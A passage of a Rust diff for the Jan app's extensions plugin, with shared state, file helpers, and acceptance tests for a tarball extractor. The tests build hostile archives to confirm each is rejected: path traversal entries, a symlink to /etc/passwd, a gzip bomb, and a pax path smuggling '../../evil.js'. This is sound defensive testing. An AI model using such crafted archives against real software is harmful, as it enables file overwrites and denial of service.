bool,+}++/// Everything the commands share.+pub struct ExtensionsState {+ pub(crate) root: PathBuf,+ pub(crate) options: Options,+ /// Serializes every read-modify-write of `extensions.json` and the+ /// directory moves that go with it.+ pub(crate) lock: Mutex<()>,+ /// Staged installs by id; `None` is a slot reserved by a [`StageSlot`]+ /// whose package is still being downloaded or extracted.+ pub(crate) stages: Arc<Mutex<HashMap<String, Option<Stage>>>>,+ /// The registry as last read or written, for the async network path,+ /// which must not do file I/O on the runtime. `None` until a read+ /// succeeds.+ registry_cache: Mutex<Option<Registry>>,+ pub(crate) recovered_from: Mutex<Option<PathBuf>>,+ pub(crate) local_api_port: Mutex<Option<u16>>,+ /// Extension traffic: no cookie store, no redirects followed.+ pub(crate) http: reqwest::Client,+ /// Tarball downloads: no cookie store, checked https redirects only.+ pub(crate) index_http: reqwest::Client,+ /// Index documents and their signatures: no cookie store, no redirects.+ pub(crate) document_http: reqwest::Client,+ /// Serializes changes to `sources.json`.+ pub(crate) sources_lock: Mutex<()>,+ /// What the last repair of `sources.json` dropped, shown in the list of+ /// sources for the rest of the session.+ pub(crate) sources_notice: Mutex<Option<crate::sources::SourcesNotice>>,+ pub(crate) requests: Mutex<HashMap<String, Running>>,+ next_token: AtomicU64,+}++/// An in-flight extension request, keyed by `<id>\n<request id>`.+pub(crate) struct Running {+ /// Unique per registration, so a finished request only ever removes+ /// its own entry.+ pub(crate) token: u64,+ /// Taken by the first cancel.+ pub(crate) cancel: Option<oneshot::Sender<()>>,+}++/// Locks `m`, recovering the data if a panicking holder poisoned it: every+/// guarded value here is valid between statements.+pub(crate) fn lock<T>(m: &Mutex<T>) -> MutexGuard<'_, T> {+ m.lock().unwrap_or_else(|e| e.into_inner())+}++/// Whether `JAN_EXTENSIONS_SAFE_MODE=1` is set.+pub fn safe_mode_from_env() -> bool {+ std::env::var(SAFE_MODE_ENV).is_ok_and(|v| v == "1")+}++/// The client behind `http_fetch`. Built without the `cookies` feature and+/// without a cookie store, so no request carries or keeps the app's+/// cookies, and with redirects off so every hop goes back to the caller to+/// be checked against the grants.+pub(crate) fn extension_client() -> Result<reqwest::Client> {+ reqwest::Client::builder()+ .redirect(reqwest::redirect::Policy::none())+ .connect_timeout(Duration::from_secs(15))+ .build()+ .map_err(|e| Error::Network(format!("cannot create the HTTP client: {e}")))+}++impl ExtensionsState {+ /// Sets up the state over `root`: wipes `.staging` (a stage never+ /// survives a restart), removes what a pre-runtime-extensions Jan left+ /// behind, and reads the registry once, so a corrupt file is moved aside+ /// and reported now rather than on first use.+ pub fn new(root: impl Into<PathBuf>, options: Options) -> Result<Self> {+ let root = root.into();+ let staging = root.join(STAGING_DIR);+ if let Err(e) = fs::remove_dir_all(&staging) {+ if e.kind() != std::io::ErrorKind::NotFound {+ log::warn!("cannot clear {}: {e}", staging.display());+ }+ }+ registry::remove_legacy(&root);+ let state = ExtensionsState {+ root,+ options,+ lock: Mutex::new(()),+ stages: Arc::new(Mutex::new(HashMap::new())),+ registry_cache: Mutex::new(None),+ recovered_from: Mutex::new(None),+ local_api_port: Mutex::new(None),+ http: extension_client()?,+ index_http: crate::index::client()?,+ document_http: crate::index::document_client()?,+ sources_lock: Mutex::new(()),+ sources_notice: Mutex::new(None),+ requests: Mutex::new(HashMap::new()),+ next_token: AtomicU64::new(0),+ };+ {+ let _guard = lock(&state.lock);+ if let Err(e) = state.load_registry() {+ log::error!("cannot read the extensions registry: {e}");+ }+ }+ Ok(state)+ }++ /// The extensions root.+ pub fn root(&self) -> &Path {+ &self.root+ }++ /// Records the port Jan's local API server listens on, or `None` when it+ /// stops. No extension request reaches it on a local host.+ pub fn set_local_api_port(&self, port: Option<u16>) {+ *lock(&self.local_api_port) = port;+ }++ pub(crate) fn local_api_port(&self) -> Option<u16> {+ *lock(&self.local_api_port)+ }++ pub(crate) fn next_request_token(&self) -> u64 {+ self.next_token.fetch_add(1, Ordering::Relaxed)+ }++ /// Reads the registry; the caller holds `self.lock`.+ pub(crate) fn load_registry(&self) -> Result<Registry> {+ let loaded = registry::load(&self.root)?;+ if let Some(path) = loaded.recovered_from {+ *lock(&self.recovered_from) = Some(path);+ }+ *lock(&self.registry_cache) = Some(loaded.registry.clone());+ Ok(loaded.registry)+ }++ /// Writes the registry; the caller holds `self.lock`.+ pub(crate) fn save_registry(&self, registry: &Registry) -> Result<()> {+ registry::save(&self.root, registry)?;+ *lock(&self.registry_cache) = Some(registry.clone());+ Ok(())+ }++ /// The registry as last read or written, without touching the disk.+ /// Every change goes through [`Self::save_registry`], so a revoke is+ /// seen by the next request.+ pub(crate) fn cached_registry(&self) -> Option<Registry> {+ lock(&self.registry_cache).clone()+ }++ /// Whether installed extensions are kept from running.+ pub(crate) fn safe_mode(&self, registry: &Registry) -> bool {+ self.options.safe_mode_forced || registry.safe_mode+ }+}++/// A place among the [`MAX_STAGES`] staged installs, taken before any+/// download or extraction so concurrent stagings cannot pass the limit.+/// Dropped unfilled, it frees the place again.+pub struct StageSlot {+ stages: Arc<Mutex<HashMap<String, Option<Stage>>>>,+ id: String,+ filled: bool,+}++impl StageSlot {+ /// Reserves a slot, or fails when [`MAX_STAGES`] stages are pending or+ /// being prepared.+ pub fn reserve(state: &ExtensionsState) -> Result<StageSlot> {+ let mut stages = lock(&state.stages);+ if stages.len() >= MAX_STAGES {+ return Err(Error::Denied(+ "too many installs are waiting for confirmation; finish or cancel one first".into(),+ ));+ }+ let id = random_id();+ stages.insert(id.clone(), None);+ Ok(StageSlot {+ stages: Arc::clone(&state.stages),+ id,+ filled: false,+ })+ }++ /// The id the stage will have.+ pub fn id(&self) -> &str {+ &self.id+ }++ /// Turns the slot into the stage `stage`, whose `id` must be [`Self::id`].+ pub(crate) fn fill(mut self, stage: Stage) {+ lock(&self.stages).insert(self.id.clone(), Some(stage));+ self.filled = true;+ }+}++impl Drop for StageSlot {+ fn drop(&mut self) {+ if !self.filled {+ lock(&self.stages).remove(&self.id);+ }+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/store.rs b/src-tauri/plugins/tauri-plugin-extensions/src/store.rsnew file mode 100644index 000000000..4fd4f7177--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/store.rs@@ -0,0 +1,238 @@+//! Small file helpers shared by the registry and the source store: atomic+//! JSON writes, timestamps and random ids, without extra dependencies.++use std::fs::{self, File};+use std::io::Write;+use std::path::{Path, PathBuf};+use std::sync::atomic::{AtomicU64, Ordering};+use std::time::{SystemTime, UNIX_EPOCH};++use serde::Serialize;+use sha2::{Digest, Sha512};++use crate::error::StoreError;++/// Writes `value` as pretty JSON to `path` through a temporary file in the+/// same directory and a rename, so a crash leaves the old or the new file,+/// never a torn one.+pub fn write_json_atomic<T: Serialize>(path: &Path, value: &T) -> Result<(), StoreError> {+ let dir = path.parent().unwrap_or_else(|| Path::new("."));+ fs::create_dir_all(dir)?;+ let mut bytes = serde_json::to_vec_pretty(value)?;+ bytes.push(b'\n');+ let tmp = tmp_path(path);+ let result = (|| -> Result<(), StoreError> {+ let mut file = File::create(&tmp)?;+ file.write_all(&bytes)?;+ file.sync_all()?;+ drop(file);+ fs::rename(&tmp, path)?;+ Ok(())+ })();+ if result.is_err() {+ let _ = fs::remove_file(&tmp);+ }+ result+}++fn tmp_path(path: &Path) -> PathBuf {+ let name = path+ .file_name()+ .map(|n| n.to_string_lossy().into_owned())+ .unwrap_or_default();+ path.with_file_name(format!(".{name}.tmp-{}", random_id()))+}++/// Seconds since the Unix epoch.+pub fn unix_now() -> u64 {+ SystemTime::now()+ .duration_since(UNIX_EPOCH)+ .map(|d| d.as_secs())+ .unwrap_or(0)+}++/// `secs` since the epoch as `YYYY-MM-DDTHH:MM:SSZ`.+pub fn rfc3339(secs: u64) -> String {+ let days = (secs / 86_400) as i64;+ let rem = secs % 86_400;+ // Howard Hinnant's civil_from_days.+ let z = days + 719_468;+ let era = z.div_euclid(146_097);+ let doe = z - era * 146_097;+ let yoe = (doe - doe / 1_460 + doe / 36_524 - doe / 146_096) / 365;+ let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);+ let mp = (5 * doy + 2) / 153;+ let day = doy - (153 * mp + 2) / 5 + 1;+ let month = if mp < 10 { mp + 3 } else { mp - 9 };+ let year = yoe + era * 400 + i64::from(month <= 2);+ format!(+ "{year:04}-{month:02}-{day:02}T{:02}:{:02}:{:02}Z",+ rem / 3_600,+ rem % 3_600 / 60,+ rem % 60+ )+}++/// The current time as RFC 3339 UTC.+pub fn now_rfc3339() -> String {+ rfc3339(unix_now())+}++fn digits(s: &str) -> Option<i64> {+ if s.is_empty() || !s.bytes().all(|b| b.is_ascii_digit()) {+ return None;+ }+ s.parse().ok()+}++fn days_from_civil(year: i64, month: i64, day: i64) -> i64 {+ // Howard Hinnant's days_from_civil, the inverse of `rfc3339`.+ let y = if month <= 2 { year - 1 } else { year };+ let era = y.div_euclid(400);+ let yoe = y - era * 400;+ let mp = (month + 9) % 12;+ let doy = (153 * mp + 2) / 5 + day - 1;+ let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy;+ era * 146_097 + doe - 719_468+}++/// Parses an RFC 3339 timestamp (`2026-10-24T08:00:00Z`, optional+/// fraction, `Z` or a `+HH:MM` offset) into seconds since the epoch and+/// nanoseconds, so two timestamps compare as instants rather than as+/// strings. `None` when it is not one.+pub fn parse_rfc3339(s: &str) -> Option<(i64, u32)> {+ let (date, rest) = s.split_once(['T', 't'])?;+ let mut date_parts = date.split('-');+ let (year, month, day) = (date_parts.next()?, date_parts.next()?, date_parts.next()?);+ if date_parts.next().is_some() || year.len() != 4 || month.len() != 2 || day.len() != 2 {+ return None;+ }+ let (year, month, day) = (digits(year)?, digits(month)?, digits(day)?);+ let leap = year % 4 == 0 && (year % 100 != 0 || year % 400 == 0);+ let month_days = [31, if leap { 29 } else { 28 }, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];+ if !(1..=12).contains(&month) || day < 1 || day > month_days[(month - 1) as usize] {+ return None;+ }+ let (time, offset) = if let Some(time) = rest.strip_suffix(['Z', 'z']) {+ (time, 0)+ } else {+ let at = rest.len().checked_sub(6)?;+ let (time, zone) = (rest.get(..at)?, rest.get(at..)?);+ let sign = match zone.as_bytes()[0] {+ b'+' => 1,+ b'-' => -1,+ _ => return None,+ };+ let (h, m) = zone[1..].split_once(':')?;+ let (h, m) = (digits(h)?, digits(m)?);+ if h > 23 || m > 59 {+ return None;+ }+ (time, sign * (h * 3_600 + m * 60))+ };+ let (clock, fraction) = match time.split_once('.') {+ Some((clock, fraction)) => (clock, Some(fraction)),+ None => (time, None),+ };+ let mut clock_parts = clock.split(':');+ let (h, m, sec) = (clock_parts.next()?, clock_parts.next()?, clock_parts.next()?);+ if clock_parts.next().is_some() || h.len() != 2 || m.len() != 2 || sec.len() != 2 {+ return None;+ }+ let (h, m, sec) = (digits(h)?, digits(m)?, digits(sec)?);+ if h > 23 || m > 59 || sec > 60 {+ return None;+ }+ let nanos = match fraction {+ None => 0,+ Some(f) if !f.is_empty() && f.len() <= 9 && f.bytes().all(|b| b.is_ascii_digit()) => {+ format!("{f:0<9}").parse().ok()?+ }+ Some(_) => return None,+ };+ let secs = days_from_civil(year, month, day) * 86_400 + h * 3_600 + m * 60 + sec - offset;+ Some((secs, nanos))+}++/// A 32-hex-digit id that is unique within this process and unpredictable+/// enough that one stage or source cannot be guessed from another. Not a+/// secret: ids only name entries the caller already owns.+pub fn random_id() -> String {+ static COUNTER: AtomicU64 = AtomicU64::new(0);+ let nanos = SystemTime::now()+ .duration_since(UNIX_EPOCH)+ .map(|d| d.as_nanos())+ .unwrap_or(0);+ let mut hasher = Sha512::new();+ hasher.update(nanos.to_le_bytes());+ hasher.update(COUNTER.fetch_add(1, Ordering::Relaxed).to_le_bytes());+ hasher.update(std::process::id().to_le_bytes());+ // The address of a stack value adds ASLR entropy.+ let marker = 0u8;+ hasher.update((&marker as *const u8 as usize).to_le_bytes());+ hasher.finalize()[..16]+ .iter()+ .map(|b| format!("{b:02x}"))+ .collect()+}++/// Whether `id` looks like a [`random_id`].+pub fn is_random_id(id: &str) -> bool {+ id.len() == 32 && id.bytes().all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))+}++#[cfg(test)]+mod tests {+ use super::*;++ #[test]+ fn formats_rfc3339() {+ assert_eq!(rfc3339(0), "1970-01-01T00:00:00Z");+ assert_eq!(rfc3339(951_782_400), "2000-02-29T00:00:00Z");+ assert_eq!(rfc3339(1_792_744_496), "2026-10-23T08:34:56Z");+ }++ #[test]+ fn parses_rfc3339_as_instants() {+ assert_eq!(parse_rfc3339("1970-01-01T00:00:00Z"), Some((0, 0)));+ assert_eq!(parse_rfc3339("2026-10-23T08:34:56Z"), Some((1_792_744_496, 0)));+ assert_eq!(parse_rfc3339("2000-02-29T00:00:00Z"), Some((951_782_400, 0)));+ assert_eq!(parse_rfc3339("2026-10-23T10:34:56.5+02:00"), Some((1_792_744_496, 500_000_000)));+ assert_eq!(parse_rfc3339("2026-10-23T07:34:56-01:00"), Some((1_792_744_496, 0)));+ for bad in [+ "",+ "x",+ "2026-10-23",+ "2026-10-23T08:34:56",+ "2026-13-01T00:00:00Z",+ "2026-02-29T00:00:00Z",+ "2026-10-23T24:00:00Z",+ "2026-10-23T08:34:56.Z",+ "2026-10-23T08:34:56+2:00",+ "+026-10-23T08:34:56Z",+ ] {+ assert_eq!(parse_rfc3339(bad), None, "{bad}");+ }+ }++ #[test]+ fn ids_are_distinct_and_well_formed() {+ let a = random_id();+ let b = random_id();+ assert_ne!(a, b);+ assert!(is_random_id(&a));+ assert!(!is_random_id("../x"));+ }++ #[test]+ fn writes_atomically() {+ let dir = tempfile::tempdir().unwrap();+ let path = dir.path().join("x.json");+ write_json_atomic(&path, &serde_json::json!({ "a": 1 })).unwrap();+ write_json_atomic(&path, &serde_json::json!({ "a": 2 })).unwrap();+ let text = fs::read_to_string(&path).unwrap();+ assert!(text.contains("\"a\": 2"));+ let names: Vec<_> = fs::read_dir(dir.path()).unwrap().map(|e| e.unwrap().file_name()).collect();+ assert_eq!(names, vec![std::ffi::OsString::from("x.json")]);+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tests/common/mod.rs b/src-tauri/plugins/tauri-plugin-extensions/tests/common/mod.rsnew file mode 100644index 000000000..33d5125cb--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tests/common/mod.rs@@ -0,0 +1,79 @@+//! Builds extension tarballs in-test.++use std::io::Write;+use std::path::{Path, PathBuf};++use flate2::write::GzEncoder;+use flate2::Compression;+use serde_json::{json, Value};+use tar::{Builder, EntryType, Header};+use tauri_plugin_extensions::state::{ExtensionsState, Options};++/// The app version the tests run as.+pub const APP_VERSION: &str = "0.8.5";++/// A package.json for `id@version` requesting `permissions`.+pub fn package_json(id: &str, version: &str, permissions: &[&str]) -> Value {+ json!({+ "name": format!("@test/{}", id.replace('.', "-")),+ "version": version,+ "engines": { "jan": ">=0.8.0" },+ "jan": {+ "id": id,+ "displayName": "Test",+ "publisher": "Test",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": permissions,+ }+ })+}++/// A gzipped npm-style tarball of `files` under `package/`.+pub fn tgz(files: &[(&str, &[u8])]) -> Vec<u8> {+ let mut builder = Builder::new(Vec::new());+ for (path, data) in files {+ let mut header = Header::new_ustar();+ header.set_entry_type(EntryType::Regular);+ header.set_size(data.len() as u64);+ header.set_mode(0o644);+ header.set_path(format!("package/{path}")).unwrap();+ header.set_cksum();+ builder.append(&header, *data).unwrap();+ }+ let tar = builder.into_inner().unwrap();+ let mut gz = GzEncoder::new(Vec::new(), Compression::default());+ gz.write_all(&tar).unwrap();+ gz.finish().unwrap()+}++/// A tarball of a valid extension.+pub fn extension(id: &str, version: &str, permissions: &[&str]) -> Vec<u8> {+ let pkg = serde_json::to_vec(&package_json(id, version, permissions)).unwrap();+ let code = format!("var JanExtension = {{ version: '{version}' }}");+ tgz(&[("package.json", &pkg), ("dist/index.js", code.as_bytes())])+}++/// Writes `bytes` to `<dir>/<name>` and returns the path.+pub fn write(dir: &Path, name: &str, bytes: &[u8]) -> PathBuf {+ let path = dir.join(name);+ std::fs::write(&path, bytes).unwrap();+ path+}++/// A state over `root`, safe mode off.+pub fn state(root: &Path) -> ExtensionsState {+ ExtensionsState::new(+ root,+ Options {+ app_version: APP_VERSION.into(),+ safe_mode_forced: false,+ },+ )+ .unwrap()+}++/// Strings from string slices.+pub fn strings(list: &[&str]) -> Vec<String> {+ list.iter().map(|s| s.to_string()).collect()+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tests/extract.rs b/src-tauri/plugins/tauri-plugin-extensions/tests/extract.rsnew file mode 100644index 000000000..597c81974--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tests/extract.rs@@ -0,0 +1,467 @@+//! Acceptance tests for `bundle::extract`: one per rejection rule, plus the+//! happy path. Every tarball is built in-test with `tar::Builder`, or by+//! hand-writing headers where `tar::Builder` refuses to produce the attack.++use std::io::{Cursor, Write};+use std::path::Path;++use flate2::write::GzEncoder;+use flate2::Compression;+use tar::{Builder, EntryType, Header};+use tauri_plugin_extensions::bundle::{extract, Limits};+use tauri_plugin_extensions::error::BundleError;++const PACKAGE_JSON: &[u8] = br#"{"name":"x","version":"0.1.0"}"#;++fn gzip(bytes: &[u8]) -> Vec<u8> {+ let mut gz = GzEncoder::new(Vec::new(), Compression::default());+ gz.write_all(bytes).unwrap();+ gz.finish().unwrap()+}++/// A raw ustar header whose name bytes are written verbatim, so paths that+/// `Header::set_path` refuses (`..`, absolute) still reach the extractor.+fn raw_header(name: &[u8], kind: EntryType, size: u64) -> Header {+ let mut header = Header::new_ustar();+ header.set_size(size);+ header.set_mode(0o644);+ header.set_entry_type(kind);+ {+ let bytes = header.as_mut_bytes();+ bytes[..100].fill(0);+ bytes[..name.len()].copy_from_slice(name);+ }+ header.set_cksum();+ header+}++struct Tarball {+ builder: Builder<Vec<u8>>,+}++impl Tarball {+ fn new() -> Self {+ Tarball {+ builder: Builder::new(Vec::new()),+ }+ }++ fn with_package_json() -> Self {+ let mut t = Self::new();+ t.file("package/package.json", PACKAGE_JSON);+ t+ }++ fn file(&mut self, path: &str, data: &[u8]) -> &mut Self {+ self.raw(path.as_bytes(), EntryType::Regular, data)+ }++ /// A regular file through `append_data`, which writes a GNU long-name+ /// entry for paths past the 100-byte ustar field.+ fn long_file(&mut self, path: &str, data: &[u8]) -> &mut Self {+ let mut header = Header::new_gnu();+ header.set_entry_type(EntryType::Regular);+ header.set_size(data.len() as u64);+ header.set_mode(0o644);+ self.builder.append_data(&mut header, path, data).unwrap();+ self+ }++ fn long_dir(&mut self, path: &str) -> &mut Self {+ let mut header = Header::new_gnu();+ header.set_entry_type(EntryType::Directory);+ header.set_size(0);+ header.set_mode(0o755);+ self.builder.append_data(&mut header, path, &[][..]).unwrap();+ self+ }++ fn file_mode(&mut self, path: &str, data: &[u8], mode: u32) -> &mut Self {+ let mut header = raw_header(path.as_bytes(), EntryType::Regular, data.len() as u64);+ header.set_mode(mode);+ header.set_cksum();+ self.builder.append(&header, data).unwrap();+ self+ }++ fn raw(&mut self, name: &[u8], kind: EntryType, data: &[u8]) -> &mut Self {+ let header = raw_header(name, kind, data.len() as u64);+ self.builder.append(&header, data).unwrap();+ self+ }++ fn link(&mut self, path: &str, kind: EntryType, target: &str) -> &mut Self {+ let mut header = raw_header(path.as_bytes(), kind, 0);+ header.set_link_name(target).unwrap();+ header.set_cksum();+ self.builder.append(&header, &[][..]).unwrap();+ self+ }++ fn tar(self) -> Vec<u8> {+ self.builder.into_inner().unwrap()+ }++ fn tgz(self) -> Vec<u8> {+ gzip(&self.tar())+ }+}++fn run(tgz: &[u8], dest: &Path) -> Result<tauri_plugin_extensions::bundle::ExtractedPackage, BundleError> {+ extract(Cursor::new(tgz), dest, Limits::default())+}++fn rejected(tgz: Vec<u8>) -> BundleError {+ let dir = tempfile::tempdir().unwrap();+ let dest = dir.path().join("out");+ let err = run(&tgz, &dest).expect_err("must be rejected");+ // A refused archive leaves nothing behind.+ assert!(!dest.exists(), "{err}: destination left behind");+ err+}++fn unsafe_path(name: &[u8]) {+ let mut t = Tarball::with_package_json();+ t.raw(name, EntryType::Regular, b"x");+ let err = rejected(t.tgz());+ assert!(matches!(err, BundleError::UnsafePath { .. }), "{err}");+}++#[test]+fn rejects_parent_dir() {+ unsafe_path(b"../x");+}++#[test]+fn rejects_absolute_path() {+ unsafe_path(b"/etc/x");+}++#[test]+fn rejects_traversal_after_the_prefix() {+ unsafe_path(b"package/../../x");+}++#[test]+fn rejects_a_dot_component() {+ unsafe_path(b"package/./x");+}++#[test]+fn rejects_windows_drive_paths() {+ unsafe_path(b"C:\\x");+ unsafe_path(b"package/C:\\x");+ unsafe_path(b"package/c:x");+}++#[test]+fn rejects_backslashes() {+ unsafe_path(b"package\\..\\x");+ unsafe_path(b"package/a\\b");+}++#[test]+fn rejects_a_missing_package_prefix() {+ unsafe_path(b"x/package.json");+ unsafe_path(b"packagex/a.js");+ unsafe_path(b"package");+}++#[test]+fn rejects_symlinks() {+ let mut t = Tarball::with_package_json();+ t.link("package/link", EntryType::Symlink, "/etc/passwd");+ assert!(matches!(rejected(t.tgz()), BundleError::UnsupportedEntry { .. }));+}++#[test]+fn rejects_hardlinks() {+ let mut t = Tarball::with_package_json();+ t.link("package/link", EntryType::Link, "package/package.json");+ assert!(matches!(rejected(t.tgz()), BundleError::UnsupportedEntry { .. }));+}++#[test]+fn rejects_char_and_block_devices() {+ for kind in [EntryType::Char, EntryType::Block] {+ let mut t = Tarball::with_package_json();+ t.raw(b"package/dev", kind, b"");+ assert!(matches!(rejected(t.tgz()), BundleError::UnsupportedEntry { .. }));+ }+}++#[test]+fn rejects_fifos() {+ let mut t = Tarball::with_package_json();+ t.raw(b"package/fifo", EntryType::Fifo, b"");+ assert!(matches!(rejected(t.tgz()), BundleError::UnsupportedEntry { .. }));+}++#[test]+fn rejects_sparse_global_and_unknown_types() {+ for kind in [+ EntryType::GNUSparse,+ EntryType::XGlobalHeader,+ EntryType::Continuous,+ EntryType::new(b'Z'),+ ] {+ let mut t = Tarball::with_package_json();+ t.raw(b"package/odd", kind, b"");+ let err = rejected(t.tgz());+ assert!(+ matches!(err, BundleError::UnsupportedEntry { .. } | BundleError::Io(_)),+ "{kind:?}: {err}"+ );+ }+}++#[test]+fn rejects_too_many_entries() {+ let mut t = Tarball::with_package_json();+ for i in 0..Limits::default().max_entries {+ t.file(&format!("package/f{i}.js"), b"");+ }+ assert!(matches!(rejected(t.tgz()), BundleError::TooManyEntries { .. }));+}++#[test]+fn rejects_a_file_over_the_per_file_cap() {+ let limits = Limits {+ max_file_bytes: 1024,+ ..Limits::default()+ };+ let mut t = Tarball::with_package_json();+ t.file("package/big.js", &[b'a'; 2048]);+ let dir = tempfile::tempdir().unwrap();+ let err = extract(Cursor::new(t.tgz()), &dir.path().join("out"), limits).unwrap_err();+ assert!(matches!(err, BundleError::FileTooLarge { .. }), "{err}");+}++#[test]+fn counts_decompressed_bytes_whatever_the_headers_claim() {+ // The header says 10 bytes while 4096 follow: tar reads 10, then treats+ // the rest as headers. The decompressed stream is what is capped, so the+ // padding still counts and the archive fails one way or another without+ // ever writing more than the cap.+ let limits = Limits {+ max_total_bytes: 4096,+ ..Limits::default()+ };+ let mut tar = Tarball::with_package_json().tar();+ let header = raw_header(b"package/lie.js", EntryType::Regular, 10);+ tar.truncate(tar.len() - 1024);+ tar.extend_from_slice(header.as_bytes());+ tar.extend_from_slice(&[b'a'; 8192]);+ tar.extend_from_slice(&[0; 1024]);+ let dir = tempfile::tempdir().unwrap();+ let dest = dir.path().join("out");+ let err = extract(Cursor::new(gzip(&tar)), &dest, limits).unwrap_err();+ assert!(matches!(err, BundleError::TooLarge { .. } | BundleError::Io(_)), "{err}");+ assert!(!dest.exists());+}++#[test]+fn rejects_a_gzip_bomb() {+ // 60 MiB of zeros in one entry gzips to about 60 KiB; extraction must stop+ // at the 50 MiB decompressed cap rather than at the 20 MiB file cap,+ // because the header is lowered to claim a small file.+ let mut gz = GzEncoder::new(Vec::new(), Compression::best());+ let mut tar = Tarball::with_package_json().tar();+ tar.truncate(tar.len() - 1024);+ let header = raw_header(b"package/bomb.js", EntryType::Regular, 1);+ tar.extend_from_slice(header.as_bytes());+ gz.write_all(&tar).unwrap();+ let zeros = vec![0u8; 1024 * 1024];+ for _ in 0..60 {+ gz.write_all(&zeros).unwrap();+ }+ let tgz = gz.finish().unwrap();+ assert!(tgz.len() < 1024 * 1024);+ let dir = tempfile::tempdir().unwrap();+ let dest = dir.path().join("out");+ let err = run(&tgz, &dest).unwrap_err();+ assert!(matches!(err, BundleError::TooLarge { .. }), "{err}");+ assert!(!dest.exists());+}++#[test]+fn rejects_case_insensitive_duplicates() {+ let mut t = Tarball::with_package_json();+ t.file("package/Readme.md", b"a").file("package/README.md", b"b");+ assert!(matches!(rejected(t.tgz()), BundleError::Duplicate { .. }));+}++#[test]+fn rejects_exact_duplicates() {+ let mut t = Tarball::with_package_json();+ t.file("package/a.js", b"a").file("package/a.js", b"b");+ assert!(matches!(rejected(t.tgz()), BundleError::Duplicate { .. }));+}++#[test]+fn rejects_a_file_under_a_file() {+ let mut t = Tarball::with_package_json();+ t.file("package/a", b"a").file("package/a/b.js", b"b");+ let err = rejected(t.tgz());+ assert!(matches!(err, BundleError::Duplicate { .. } | BundleError::Io(_)), "{err}");+}++#[test]+fn requires_package_json() {+ let mut t = Tarball::new();+ t.file("package/index.js", b"x");+ assert!(matches!(rejected(t.tgz()), BundleError::MissingPackageJson));+}++#[test]+fn rejects_an_invalid_package_json() {+ let mut t = Tarball::new();+ t.file("package/package.json", b"[1,");+ assert!(matches!(rejected(t.tgz()), BundleError::BadPackageJson(_)));+}++#[test]+fn rejects_a_non_gzip_stream() {+ let t = Tarball::with_package_json();+ assert!(matches!(rejected(t.tar()), BundleError::Io(_)));+}++#[test]+fn refuses_an_existing_destination() {+ let dir = tempfile::tempdir().unwrap();+ let err = run(&Tarball::with_package_json().tgz(), dir.path()).unwrap_err();+ assert!(matches!(err, BundleError::DestinationExists(_)));+}++#[test]+fn extracts_the_package_layout_without_exec_bits() {+ let mut t = Tarball::with_package_json();+ t.raw(b"package/dist/", EntryType::Directory, b"");+ t.file_mode("package/dist/index.js", b"var JanExtension = {}", 0o755);+ t.file("package/deep/a/b/c.txt", b"c");+ let dir = tempfile::tempdir().unwrap();+ let dest = dir.path().join("out");+ let extracted = run(&t.tgz(), &dest).unwrap();++ assert_eq!(extracted.root, dest);+ assert_eq!(extracted.package_json["name"], "x");+ let mut files = extracted.files.clone();+ files.sort();+ assert_eq!(+ files,+ vec!["deep/a/b/c.txt", "dist/index.js", "package.json"]+ );+ assert_eq!(+ std::fs::read_to_string(dest.join("dist/index.js")).unwrap(),+ "var JanExtension = {}"+ );+ assert_eq!(std::fs::read(dest.join("deep/a/b/c.txt")).unwrap(), b"c");++ #[cfg(unix)]+ {+ use std::os::unix::fs::PermissionsExt;+ let mode = |p: &str| std::fs::metadata(dest.join(p)).unwrap().permissions().mode() & 0o777;+ assert_eq!(mode("dist/index.js"), 0o644);+ assert_eq!(mode("package.json"), 0o644);+ assert_eq!(mode("dist"), 0o755);+ }+}++#[test]+fn ignores_pax_metadata_but_honours_a_pax_path() {+ // npm writes pax headers for long names; the path they carry is the one+ // checked, so a pax path cannot smuggle `..` past the prefix check.+ let mut builder = Builder::new(Vec::new());+ builder+ .append_pax_extensions([("path", &b"package/../../evil.js"[..])])+ .unwrap();+ let header = raw_header(b"package/fine.js", EntryType::Regular, 1);+ builder.append(&header, &b"x"[..]).unwrap();+ let header = raw_header(b"package/package.json", EntryType::Regular, PACKAGE_JSON.len() as u64);+ builder.append(&header, PACKAGE_JSON).unwrap();+ let err = rejected(gzip(&builder.into_inner().unwrap()));+ assert!(matches!(err, BundleError::UnsafePath { .. }), "{err}");+}++#[test]+fn rejects_the_deep_path_stall_quickly() {+ // The review PoC: about 2000 tiny files 200 directories deep. Without a+ // depth cap every file re-creates every ancestor, which ran for 34 s.+ let mut t = Tarball::with_package_json();+ for i in 0..1999 {+ t.long_file(&format!("package/d{i}/{}x.js", "a/".repeat(200)), b"");+ }+ let tgz = t.tgz();+ let started = std::time::Instant::now();+ let err = rejected(tgz);+ assert!(matches!(err, BundleError::PathTooLong { .. }), "{err}");+ // The unbounded case took ~34 s; 10 s leaves room for slow CI file+ // systems (NTFS on Windows runners took 2.3 s) while still catching it.+ assert!(started.elapsed() < std::time::Duration::from_secs(10), "{:?}", started.elapsed());+}++#[test]+fn caps_nesting_depth() {+ let limits = Limits::default();+ let ok = format!("package/{}x.js", "a/".repeat(limits.max_depth - 1));+ let mut t = Tarball::with_package_json();+ t.long_file(&ok, b"x");+ let dir = tempfile::tempdir().unwrap();+ run(&t.tgz(), &dir.path().join("out")).unwrap();++ let deep = format!("package/{}x.js", "a/".repeat(limits.max_depth));+ let mut t = Tarball::with_package_json();+ t.long_file(&deep, b"x");+ assert!(matches!(rejected(t.tgz()), BundleError::PathTooLong { .. }));+}++#[test]+fn caps_the_relative_path_length() {+ let limits = Limits::default();+ let name = |len: usize| format!("package/d/{}.js", "n".repeat(len - "d/".len() - ".js".len()));+ let mut t = Tarball::with_package_json();+ t.long_file(&name(limits.max_path_bytes), b"x");+ let dir = tempfile::tempdir().unwrap();+ run(&t.tgz(), &dir.path().join("out")).unwrap();++ let mut t = Tarball::with_package_json();+ t.long_file(&name(limits.max_path_bytes + 1), b"x");+ assert!(matches!(rejected(t.tgz()), BundleError::PathTooLong { .. }));+ let mut t = Tarball::with_package_json();+ 